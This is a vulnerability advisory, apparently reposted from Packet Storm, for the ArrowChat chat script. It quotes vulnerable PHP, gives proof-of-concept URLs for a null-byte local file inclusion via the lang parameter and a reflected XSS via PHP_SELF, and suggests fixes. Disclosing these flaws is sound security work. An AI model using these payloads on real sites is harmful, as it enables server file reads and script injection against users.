ArrowChat 1.5.61 Cross Site Scripting / Local File Inclusion

[Praetorian503]

ArrowChat versions 1.5.61 and below suffer from cross site scripting and local file inclusion vulnerabilities.

# Exploit Title: ArrowChat <=~ 1.5.61  Multiple vulnerabilities
# Date: 01/01/2013
# Exploit Author: Kallimero
# Vendor Homepage: http://www.sitexcms.org/
# Version: 1.5.61, before, and maybe 1.6
# Tested on: Debian


Introduction
============

ArrowChat is a chat script, which is able to be integrate in various CMS,
as wordpress, or some bulletin boards.


Vulnz
========


1- ) Local File Inclusion


external.php let us load langage, but not a secure way.

---------------[external.php]---------------

// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
    $lang = get_var('lang');

    if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
    {
        include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
    }
}
---------------[index.php]---------------

Thanks to the nullbyte tricks we'll be able to include any php file, like
that :

http://[site]/[path]/external.php?lang=../path/to/file%00&type=djs

2- ) reflected XSS

The administration layout is accessible for anyone. Even if we can't exec
the php code of the admin, we can inject html thanks to $_SERVER['PHP_SELF']


Example :
-------[admin/layout/pages_general.php]-----

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php
echo $do; ?>" enctype="multipart/form-data">
----------------------------------

PoC:
http://
[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>


How to Fix ?
============

 To fix the LFI, you can replace it with :
 // Load another language if lang GET value is set and exists

if (var_check('lang'))
{
    $lang = get_var('lang');
    if(preg_match("#^[a-z]{2,5}$#i", $lang)){
        if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
        {
            include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
        }
    }
}

lang will be include only if it's a valid lang file.

For the XSS's, you can use a .htaccess to protect the layout directory,
and use htmlentities to avoid the html inj'.



Thanks
=========

All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/

Source: PacketStorm